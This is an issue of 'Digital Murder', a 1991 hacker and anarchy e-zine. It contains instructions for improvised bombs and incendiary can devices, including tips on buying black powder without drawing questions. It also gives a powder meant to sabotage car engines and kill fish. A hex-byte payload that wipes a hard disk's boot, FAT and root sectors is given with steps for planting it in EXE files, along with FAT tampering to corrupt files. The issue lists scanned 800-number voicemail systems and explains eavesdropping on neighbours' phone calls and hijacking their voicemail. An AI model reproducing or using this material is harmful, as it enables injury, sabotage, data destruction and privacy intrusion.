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A Magazine for Cyberpunks and Other Hi-Tech Low-Lifes
Issue No. 02 November '91
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These filez are for educational and informational studies
only. The writers for Digital Murder will not be responsible
for any use or misuse of information published in this
disk-based magazine. The magazine and its contents are
free to the public and may be freely distributed in any
form as long as Digital Murder magazine and the author
is given credit.
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Information is Power.
E d i t o r ' s N o t e z
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Here it is! Issue #2 of Digital Murder released, slightly
late, November 25th, 1991. It'z been hell getting everyone
motivated enough to continue a monthly 'zine but, as you can
see, it was done.
We got a lot of positive responses from readers and have heard
that issue #1 hit 35 or so boards in the United Socialist Republic
of America and a few boards overseas (Sweden, Switzerland, and
Holland). Thanks goes out to those few that I asked to spread
the magazine and an even larger group that spread it without me
asking. . . you know who you are.
Since the idea of using a P.O. Box flopped due to no one sending
us mail to it, we have closed it. If you were thinking about
sending us a letter, sorry. We have plans on getting an internet
address as soon as I decide where to get it. As well as the
internet address, we plan to start a usenet newsgroup. We will
put a complete list of addresses to reach us at in issue #3 which
will be out December 15th. So until issue #3 comes out, call
The Backdoor at 901.386.6455 to leave comments, submit articles,
pick up the current or previous issue, etc.
- M o r p h e u s / Editor.
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D i g i t a l M u r d e r - - - Backdoor (901)/386.6455
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pg#. I N T H I S I S S U E
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3 Anachy For Sale---Neuron God & Mystic Blade's
guide to destruction.
6 Virus in My Soup!---Digital Terrorist brings
you more virus phun.
8 Virtual Networks---General/Technical file on a
few fone networks.
11 Scan 'O De Month---Zapped brings another great
scan for your enjoyment.
12 Cellular Freqing---Eavesdropping on Cellular
calls with modified scanners.
14 Action Systems Fone Network Info by Technysis
16 Heaven's Trash---Final words from Morpheus.
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By: Neuron God/INFOword/Danger Kult
Sticky Coolwhip
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This first project involves three substances; Vinegar, Milk
(whole), and Cool Whip.
Heat the milk in a pot until it comes to a VERY low boil.
Add vinegar until it separates. The solids are CASEIN.
Heard of it before?? heheh.. yeah, that's the shit they
used to use for superglue. Now, all you have to do is make
a good amount of this and mix it with Cool Whip. You'll
have a fluffy white mixture which puffs up very nicely and
is sticky as hell.
Possible uses:
Cake topping. Fucks up dentures
(and regular teeth)
Cover for keyhole on car.. (guess)
Car design solvent. Munches the paint
right off.
Try freezing it. If you've whipped it up enough, it should
be fairly liquified and will run easily. Freezing it will
give you a substance similar to a Jell-O pudding shit. Try
adding food coloring and putting it on a stick.. will taste
like milk that's slightly older than God.
Phun With Coke Cans
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Hell, you could use any kind of can for these as long as ya
drain it, wash it, and let it dry WELL.
For this first project, you'll need to cut the bottom off
of one of the cans. Really old scissors that are still
fairly sharp (and which won't be missed by, say, the local
store) are good for cutting cans since they cut straight
and quickly. Cut the bottom off with about 1 inch of thin
metal left to make a cup-looking thing. Take the scissors
and at about 1 quarter inch margins (one centimeter for the
Euros, I know it's not equivalent, but it doesn't matter),
cut down the sides about another quarter inch. Bend the
flaps down to keep from getting cut while you work with
this thing. If you have soldering experience, solder the
flaps to the inside of the can just to make sure (this also
makes it easier to use in other projects).
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You can make a lot of these now if you want because they
will be the most-used part of the cans. Don't throw away
the top part yet because the sheetmetal-type aluminum can
be used to make some AWESOME 'noisemakers'!!
Now that you have a few of these prepared, obtain some black
gunpowder. This is sold at some weapons shops (especially
those which specialize in Black-Powder or antique-interest
weapons, or which carry shell packing materials for the
rabid hunter who likes to repack shells). You should be able
to get this without any permits but if you buy it in excess,
questions will be asked. To be safe, either buy packing
materials (which can also be useful if you're the creative
type) or buy from different stores around the area, rotating
your supplier every week.
We can now begin on our first 'device'. In model rocketry
hobby section of your local hobby store there are specially
made engines and ignitors for these engines. They can be
used for our purposes seperately or together, so get a few
of them. The ignitors are electricity-based flamers and You
will need some source of electricity (about 2-3 AA batteries
should do the trick) and some LONG wires to connect the
flamer to the source. Some Scotch tape (or any clear, light
weight tape) is needed to hold the flamers in place. In
this project, you need to cut out some of the scrap-metal
from the long upper part of the cans. One can should
provide at least enough for two of these devices. Cut just
enough of the sheet metal out to totally encircle a medium-
powered rocket engine (I like the A8-3 single stagers
myself). The engine should be large enough to carry the
weight of the metal. When you have the metal cut to the
proper size, move the engine FAR away and solder the metal
into a cone. Cut a small circle of metal just big enough to
cover one end of the cylinder and solder it in place. Let
this cool OVERNIGHT just to be safe. The engine should now
slide into and out of the container easily. Depending on
what type of thing you want to make, follow the remaining
instructions:
1: Bomb-- To make a bomb out of this, cut another circle out
of the metal as though you were going to plug the
second end up as well. Cut one side of this circle
just enough so that the igniter and wires can still
fit correctly to the engine. Plug the empty space
with something which is light but flammable, such as
toilet paper or paper towels but not too tight. If
you're too nervous to solder the second cover on,
use something like superglue or epoxy.
2: Rocket/bomb-- The same as above, except that you can pack
some explosive substance at the closed end of the
container, then some toilet tissue or Kleenex (not
very much on this one though), then the engine. The
engine must be superglued in just at the bottom of
the tube where the rocket end is exposed so lift can
be achieved.
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It is advised that you put controlling
surfaces on your rocket so it will be a little more
predictable. Use light tape on the flamer so it
will easily release when the rocket lifts off. I
strongly recomend using some sort of launch guidance
system, such as a part of a drinking straw glued to
the outside of the rocket and then set onto a metal
dowell that will keep it flying straight until it's
at a safe height.
When the rocket reaches its top flight, it will send
out a small explosion at the top which will ignite
whatever you pack up there.
The rocket works best with custom-designed rockets
from your hobby store, with some slight modifications,
such as an addition of the explosive instead of a
parachute or streamer.
The rockets may take a few seconds/minutes
to ignite, since some flamers aren't as good as
others. If you make a heavy rocket, use as big an
engine as it needs (you'll learn by experiment).
Cans can also be used to make great alcohol lamps, ovens, or
bombs. Get a flamer from the previous projects, some dena-
tured alcohol (6xx proof!!! don't drink it!!) and some can
bottoms. Drill a hole in one can bottom big enough to work
with, but not so big as to be unpluggable. Solder this one
to an unmodified can bottom to make a container with two
bottoms. The hole should be in the center of the bottom of
one of the cans. Pour the alchohol into the container
slowly through the drilled hole until it is about 3/4 full.
Put a flamer in the hole so that it just barely touches the
alcohol. Tape this sucker up good and superglue it if
possible. The flamer should ignite the alcohol which has
just enough air to burn good, and the cans will either
implode or explode depending on whether the alcohol cathes
fire good or not. It may just use up some of the oxygen and
create a partial vaccum, or it may explode and spread
burning alcohol quite a distance.
A full can of a carbonated drink can be fun, too. Shake it
up, roll it around, throw it up in the air (if you throw it
really high, catch it. If not, let it hit the ground). Try
putting it over a LOW flame on a grill. When it starts to
bulge, remove it. After doing any/all of these things, take
it to a tall building with a stairway. If it is like most
stairways, there will be some space in the center where this
can be dropped. With the combination of the pressure inside
the can and the force of it falling, the impact will be
quite messy (and if not found for a few days, sticky, smelly
and hazardous to the new paint job too... heheh..) It is
hell to clean up.. just try to get the can to add that extra
touch to the question "What the Hell happened here?" They
won't even know where to begin asking questions...
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All of these ideas can be expanded upon, modified, or just
plain used in unusual ways. Remember, always be creative
with your methods of destruction... NG '91 -- InFOWOrd/ DK.
Awful Magic Powder - by: Mystic Blade!
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Needed
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* 6 or 7 cans of Arid Extra Dry spray.
* 1 closet size mirror
* Note * You can scale this done to just a bathroom
mirror or any flat smooth surface.
Spray the surface of the mirror until completey solid white.
Let it set and dry for the next 24 hrs. then scrape of the
residue. Do this until all the Arid is gone. You now have what's
known as Great awful magic powder.
One ounce of this powder per automobile gas tank will screw up an
engine.
A single teaspoon will kill off a 10 gallon fish tank and all the fish.
Till fun is fun....Im outta here! *Mystic Blade*
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An Algebra of Evil
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More Virus Info from
Digital Terrorist!
More Hard Drive Phun!
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Hey, you anarchists trying to learn something, This is for
you! I just thought you might find it interesting...
Do you know that you can destroy a hard disk by writing 18 bytes
to the end of an EXE file (you can do it with 14 but I'll just do
this for the sake of simplicity).
Ok, to use this look for the last occurence of CD 21 (or m! in ascii)
with some type of hex/ascii editing program. Once you have found it,
insert these hex codes after that last CD 21. Be careful... Don't
run this program after you have "fixed" it unless you want to re-
format your HD. Here goes...
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(insert these bytes of hex code in after the final m! [CD 21].
Notice that the m is ascii 205 not an equal sign (=).)
B4 03
B0 C8
B5 00
B1 01
B6 00
B2 02 (the 02 stands for the C drive. You can specify 00 for
A drive, or 01 for B drive, etc... This is the drive
that you want to destroy.)
CD 13
B4 4C
CD 21
Well, that's pretty much it. Viruses are made in a way such as
that the virus takes code such as this and manually inserts it
into an EXE or COM file along with the code that it has for
self replication. Also, notice that this code is made to write
over the boot, FAT, and root directory sectors with just any
ole' address out of memory... ( whatever is in the DS and DX
registers at the time ). Note that you can also insert your
code BEFORE the last CD 21 by inserting it two bytes before the
last CD 21 (those two bytes in fact should be B4 4C). Once you
do that, you can cut this code down to 14 bytes by eliminating
the final four bytes (B4 4C CD 21).
File Phun
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Scanning files in directories, and changing the entry of the
"starting cluster" and the file size. By changing, I mean
swapping with other files so, therefore, if you once had an
EXE file called READTHG.EXE and some other files, you would
mysteriously find that READTHG.EXE contained another EXE, a
data file, or a text file.
How do you do it? No problemo... First you ascertain info
from the boot sector on where the FAT and root directory
sector are located which will be explained later. Then you
pick out the root directory sector. Filename entries in a
directory sector are stored as such:
[ Filename- 11 bytes no period!] [Attribute- 1 byte]
XX XX XX XX XX XX XX XX XX XX XX XX
[Reserved by MS-DOS- 10 bytes] [Time/Date stamp- 4 bytes]
XX XX XX XX XX XX XX XX XX XX [Time] [Date]
XX XX XX XX
[Starting Cluster- 2 bytes] [File Size- 4 bytes]
XX XX XX XX XX XX
Notice that the XX's are hexadecimal numbers.
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1. Filename is padded with spaces between the first eight and
the last 2. ie HELLO DOC... It MUST be padded with spaces
if it is to be used.
2. Attribute:
Read Only- hex 01
Hidden- hex 02
Archive- hex 20
Subdirectory- hex 10
Volume Label- hex 08
System- hex 04
When these attributes are combined (say read only and hidden),
they produce hex 03, or the sum of their numbers.
3. Time/Date stamp will almost ALWAYS be irrelevant to a good
anarchist.
4. Starting Cluster- this is the cluster where the file starts.
DOS reads the FAT chain and determines where ALL of that file
is but if this and file size are swapped with other files,
pandemonium will break lose.
5. File Size- this is represented by a 4 byte binary number, the
rightmost digit being most signifigant.
Well, that should pretty much give you plenty of information to
do that nice little thing, or plenty of other things.
Virtual Telephone Networks
General/Technical Outline
Written and compiled by Morpheus.
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This technical journal on Telephone Networks has been
compiled to introduce the basics of them to newer phreakers
yet does contain a lot of information that will interest the
more advanced reader.
History of Virtual Networks
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To be honest, virtual networks are nothing new since many LDS
companies, such as AT&T, MCI, and Sprint, have been offering
them since 1985.
ISACOMM (now US Sprint) was the first to introduce a virtual
network service, using Satellite Business Systems (SBS)
satellites as early as '84. SBS acted as the carrier while
ISACOMM was responsible for promoting and managing the
service.
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SBS introduced it's own network in early '85 and was later
bought by MCI.
Also in 1985, US Telecom redifined ISACOMM as VPN (Virtual
Private Network) which is now the base for Sprint. Later on,
AT&T introduced its Software Defined Network (SDN) product.
AT&T's SDN
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When a user picks up his phone at an on-net, dedicated SDN
site and dials a number, the dialed digits are sent to the
serving AT&T SDN office through the local network. This SDN
office receives the dialed digits, and notes the originating
number via ANI (Automatic Number Identification). This info
is passed to the ACP (Action Control Point), which will then
check the NCP network database for routing and translation
information based on the ANI of the user. After the check is
complete, the NCP returns appropriate routing information to
the ACP, which encodes a billing record and send the call
through the network.
AT&T has marketed many special features with SDN. For
example, when the NCP receives the call information from the
originater of the call, it can screen the call according to
a set of valid originating numbers to see if the call is even
allowed to be sent through the network. It can also be setup
to request an authorization code to validate calling privs.
It can prompt certain screened calls with preprogrammed ann-
ouncements to provide options for routing.
Off-net calls follow a similar procedure in which the user of
the SDN dials an off-net access number (800- or 950-) or can
access the network through switched equal access. In this
case, the dialed digits and any code entered are screened and
sent to the ACP, and then gets instructions from the NCP.
Whenever announcements are required, they are sent from the
Network Services Complex (NSC). Thus, if the network were to
ask for an authorization code, the message would be sent from
the NSC.
Map of SDN:
---------- Features
SDNCC --------
SMS --\-- !!
-\- \ +----------!!--------------+
\ >-->!-->-->->+-!!--+ A L!
\ ! ! NCP ! T D!
>-->-->-->-->-->-->->! --- ! NSC & N!
! /-----\ / T !
! / \ / !
! ACP ACP !
+-----/----------\---------+
/ \
SDN Dialup SDN Dialup
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MCI's VNET
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This network uses three types of switches: 1) Northern Tele-
com DMS-250, 2) DEX 400, and 3) DEX 600 by Digital Switch Co.
MCI uses SS7 (signal system 7) on all of their intermachine
trunks.
When a user picks up the phone and calls the dialup, it is
connected into the MCI Vnet network similarly to SDN by AT&T.
The routing of a Vnet call starts with a request from a
digital switch to the Network Control System (NCS) for route
information. This request travels through one of the Data
Access Points and then the NCS checks the customer's database
for routing information, call privileges, etc. and sends that
information back to the switch, again through the DAP. After
all this, the call is sent through.
Map of Vnet:
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Dial '1' or Vnet Card Access Calling thru Dialup
------------!!!------------- --------!!!--------
!!! !!!
(Telco C.O. switches call) (Telco CO doesn't switch call)
!!! !!!
+--------------------+ +--------------------+
/<-- MCI Network Access !-----------! MCI Network Access -->\
! +--------------------+ +--------------------+ !
! !!! !!! !
! !!! !!! !
\ MCI Switch MCI Switch /
\ +----------------+ /
>-->-->-->-( DAP )-! N.C.S. !-( DAP )-<--<--<--<
+----------------+
US Sprint's VPN
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US Sprint uses 100% fiber optic networking and uses powerful
Northern Telecom DMS-250 switches linked by SS7, with DMS300
switches as international gateways.
When a US Sprint VPN user picks up the phone, dials a local
VPN system, and calls through it, the call is forwarded to
a serving point. That switch, through its Message Switch &
Buffer (MSB) signaling point, sends a routing request to the
nearest Signal Transfer Point (STP). The STP passes the re-
quest to the Database Control Point (DCP) for processing.
After checking the customer's database account, the info is
sent back to the MSB. The call is then sent through.
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Digital Murder Scan 'o' de Month!
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Zapped here with another scan for all of you phone
junkies out there. This scan, as you will see below, is of
the 233 prefix. If you missed last month's article, it was
on the 336 prefix. Get in touch with us. . . we have all
back issues on file.
Prefix owned by: AT&T
Voice Mail Systems
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1-800-233-0010 After Business Hrs VMB
1-800-233-0065 Methodist Hospital--listen or hit 0.
1-800-233-0214 Knoll Sue's VMB--listen for menu.
1-800-233-0316 * + 4 digit boxes.
1-800-233-0407 First Trust---
1-800-233-0567 Corum 'Hell'--* or #.
1-800-233-0618 experiment with--uses 'numeric messages'
1-800-233-0713 Datanational-- *
1-800-233-0995 Griffen Services-- # 3 digit boxes
1-800-233-1000 Audix VMB
1-800-233-1106 * -- 3 digit boxes
1-800-233-1304 Aetna - */# 4dig.boxes
1-800-233-1717 4dig.boxes
1-800-233-1808 3dig.boxes
1-800-233-1903 Beacon's NW--*/# (fairly easy)
1-800-233-2025 (currently using an old VMB sys.)
1-800-233-2119 Spectrum */# 3digboxes(excld.1,2)
1-800-233-2250 Credit and Leasing Corp.
1-800-233-2331 Billing Dept of DTOM
1-800-233-2400 Am. Murex Corp.
1-800-233-2450 Armstrong---Dictation Service...interesting
1-800-233-2520 Interesting System...
1-800-233-2617 uses Audix--listen or hit *7
1-800-233-2875 */# 3digs.boxes
1-800-233-3029 Penox Tech.--*/#
1-800-233-3200 0+1 for VMB
1-800-233-3314 ?
1-800-233-3411 0+1 for VMB
1-800-233-4007 ?
1-800-233-4606 Bank of San Fran--haven't messed w/it
1-800-233-4800 #+* ...3dig boxes
1-800-233-5969 *+ext/# for VMB
1-800-233-6269 */#
1-800-233-6300 *+x (x=dig 0-9)
1-800-233-6789 */#
1-800-233-9069 alwayz busy...couldn't verify
1-800-233-9175 same as 9069
1-800-233-9325 same as 9069
1-800-233-9477 listen for menu
1-800-233-9575 same as 9069
1-800-233-9650 same as 9069
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Carriers
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1-800-233-0037 (expected hello,:job,:data,or(cmd),as logon.(cierr 1402)
1-800-233-0692 (<<please enter logon>>)
1-800-233-0887
1-800-233-1217 (wierd pulse then carrier and kicks off line)
1-800-233-2921 (???)
1-800-233-4224 (performance 200 emulex)
1-800-233-4700 (towers perrin online -- phila --press enter)
1-800-233-5315 (gives > prompt)
PBXs/etc
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1-800-233-1925
1-800-233-3750
Fax's & Misc.
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1-800-233-0180
1-800-233-0904
1-800-233-1210
1-800-233-2180
1-800-233-2850
1-800-233-3504
1-800-233-4479
1-800-233-5169
1-800-233-5170
1-800-233-6150
Thats it for this month so be watching next time for more
and hopefully more interesting numbers to play around with
so until then Ive been. . . . Zapped!
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Scanning for Phun and Information.
By: Chizz
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Scanners are wonderful toys. They allow us to listen to info
that otherwise would be impossible to hear. Everyone has heard
of using scanners to listen in on police and fire, but that gets
old after a while. One can only hear so much of police calling
in stating that they are going on a doughnut break. Now there is
a use for a scanner that is much more interesting, not to mention
fun: listening in on cordless phones and cellular phones.
One day, blackened buffered a post off of a board that listed the
10 cellular frequencies. There are 10 for the base and 10 for
the handset. The base frequencies are the most powerful, there-
fore these are the ones that should be put into the scanner. I
did not except much while i reluctantly inputed the frequencies
but after I fired up and started scanning, I could not believe
my ears.
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Picking up my neighbors is really quite interesting. I have
heard everything from a woman's daughter being pregnant to a
couple owing 10,000 dollars in back taxes, and their unhappiness.
It is so easy to pick up these cordless phones that it is funny.
Cordless phones can be picked up by any programmable scanner such
as the $139.00 Radio-Shack pro-38, 10 channel programmable.
Below is a list of the cordless phone frequencies:
Channel Base Handset
1 46.610 49.670
2 46.630 49.845
3 46.670 49.860
4 46.710 49.770
5 46.730 49.875
6 46.770 49.830
7 46.830 49.890
8 46.870 49.930
9 46.930 49.990
10 46.970 46.970
Now onto the more interesting and lively world of cellular
phones. You must have a scanner that is 800 megahertz capable.
My personal choice is a realistic pro-34. This is a hand-held
model that has 200 channels, built in backlit lcd, and 10
channel temporary storage, for an effective capacity of 210
channels. This scanner runs for about $300 bux but I bought
mine at a pawn shop for $120. The true cellular band is from
869.0000 mhz to 894.000 mhz. For some reason the powers that
be convinetly omit the cellular band, instead, stopping at
868.9375 and resuming at 896.1125 on the pro-34. If you are
happy listening to "mobile" phones, more appropriately known
as two way radios, that operate in the 800 mhz band then a
"stock" scanner is fine but if you are like me, that's just
not enough.
I was looking through a copy of radio-electronics one day and
noticed that there was a scanner BBS. I called this bbs and
downloaded a text file that contained the steps to modify a
pro-34 for true cellular capabilities. There is not room here
to go into how to modify the scanner but call the Red Onion BBS
at (914) 342-4585 to get the file for this scanner or any other
scanner (they have files for all popular scanners). After making
the modifications, you can start the search scan at 869.0000
to 894.0000.
If you live a large city, the cellular band is active at all times.
I have listened to calls with subjects such as drug deals,
prostitution, people growing their own dope, and a lady talking
about using dildos. One particully funny moment was when this one
guy got into a fight with his girlfriend, went out and got drunk,
and on his way home he called up his girlfriend crying and moaning
and then he got pulled over for drunk driving. It is also a
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good way to get information if you have a DTMF decoder. A lot of
people that have cellular phones also have VMB's. You can listen
in as they call their system and if you are familiar with the
system that they are on, you can call up and take over their box.
If you think that this would be an interesting thing to do then
be sure to do it soon because in the next ten years or so all
cellular services will be switched from analog to digital making
it impossible for a conventional scanner to be able to decode the
conversations. If you have any questions, or information that
you have found useful then please leave me mail on Digital murder's
WHQ, The Backdoor BBS at (901)/386-6455.
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Disection of the ACTION Roadrunner
Telephone Management system
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By:Technysis
This series of artices to follow has taken much time
and extensive coverage. I see these articles as truly
original material, as I went through personal connections to
get the information contained here.
The following information was taken from various technical
sources and other misc. information from a rural area here in
my state. I live in Memphis, which is under ESS, however,
where I was at, they were under some other older system.
The Action Roadrunner Telephone Management System is a
computer controlled routing, tandem switching system. As
such, the system functions in support of an existing PBX type
system and may be configured for network operations between
properly equipped locations. Through these of the network
capabilities, a business can impliment a private network to
reduce overall call costs and record network/system traffic
statistics. Network operations are provided by extending the
local serial bus of the Master node to control the operation
of satellite nodes and collect call record data from Remote
intelligent nodes. Unintelligent (noncomputerized) satellite
nodes are controlled exclusively by the intelligent node to
which they are connected by data link and tie lines. The
Intelligent Remote nodes direct their own call processing
functions and those of their associated Satellite nodes. In
this configuration, the Master node serves as a centralized
record collection point while providing a centralized
database update point.
The support equipment expalined serves to expand the
interfacing capabilities of the system by accommodating
ground start-type trunk circuits and collected key-type
systems. Other equipment, when optionally selected by the
CO, is designed to provide remote access from rotary tele-
phone by the Voice Terminal Device.
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VCA Subsystem
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A Pulsecom Voice Connecting Arrangement (VCA) subsystem is
used instead of Telco-supplied CDH-type VCAs. Each circuit
card interfaces one system port to one Telco trunk circuit
(DDD, WATS, or FX). These cards are housed in 10 card cages
which are assembled into a wall mounted rack assembly
containing eight card cages for a total of 72 VCAs on a
freestanding rack assembly containing 16 card cages for a
total of 144 VCAs.
Amplifier Subsystem
-------------------
Trunk amplification is used to adjust and stabilize trunk
levels appearing at the system while being OFF when the
circuit is not in use. The single-channel circuit cards
(repeaters) housed in 11-slot card cages are assembled into a
wall mounted rack assembly which can contain up to six card
cages for a total of 66 amplifiers per rack. Each rack
requires a dedicated 120 Vac 15 amp circuit to power the
-48 Vdc power supply which supplies the required power to the
card cages. Two amplifier circuit card types are available
for voice only or voice/data circuits. A voice-only circuit
uses the UM-100 Amplifier Card and a voice/data circuit uses
a VFR-1050 Amplifier card. Both card types share the same
card cage. One 25-pair cable is used per card cage. Each
circuit consists of two-cable pairs for a total of 22 pairs
within each cable. The first cable pair is connected to each
of the Telco side of the demark and the second pair to the
ACTION side.
The UM-100 Amplifier Card is equipped with a UM-3502 Plug-on
Option card which is used to program the amplifiers oper-
ation. Two adjustment options are also available with the
3502 card. The VFR-1050 Amplifier card is supplied with
progammable options as well. This card is used when data
transmissions are anticipated on the connected trunk circuit.
The VFR-1050 Amplifier Card options given consist of
amplifier gain adjustment, equilization adjustment,
sensitivity slope adjustment, and a disable on/off switch.
Keyset Adapter Subsystem
------------------------
The Keyset Adapter subsystem is employed to permit telephone
circuits that are not associated with a PBX type system to
be interfaced to the system. Key systems or dedicated
single-line instruments may access the system by this
subsystem. The Keyset Adapter Subsystem may be configured
in a free standing rack (128 circuits max.) or on a wall
mounted unit (48 circuits max.) The two circuit cards that
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make up the Keyset Adapter Circuit are the E&M-to-Loop
Converter Card and the Dual Line Coil Card. The Dual Line
Coil Card accommodates two E&M-to-Loop cards. The cards are
clustered in groups of three with the Dual Line Coil Card in
the center to provide two circuits. Three clusters of three
cards each supply six circuits per card cage in the wall
mount unit and four clusters yielding eight circuits per
card cage in the free standing rack.
Voice Terminal Device
---------------------
The Voice Terminal Device (VTD) is a word recognition sub-
system configured into a single cabinet. The VTD is composed
of a cental processor, a vector processor, memories, and I/O
devices for eight system ports. The System port cards are
configured for 2-wire operation with 0db pads and serve as
the bidirectional VTD interface.
The System port cards used for the VTD are located in
consecutive card cage slots within a single card cage. The
first card is a Voice Terminal Serial Interface Card and the
next seven cards are Audio Interface Cards. The Voice
Terminal Serial Interface card accepts the binary output of
the VTD for the eight serial ports. TheÜǹëÅ decoded output of
each of the right ports is sent to the Voice Terminal Serial
Interface card in the first port.
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Hope that was at least a little bit interesting. That was
nowhere near the complexity of explainng ESS. However, the
little trip to the past could prove useful because many sys-
tems such as these are still in use. I will have future
articles on the Action system but for now I can't type
anymore... Hehehe..
Later all and don't forget; Bell holds the ultimate in info-
rmation and power from us but they will not be able to hold
back the flood of hackers breaking away at their wall. Long
live the cause.
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H e a v e n ' s T r a s h
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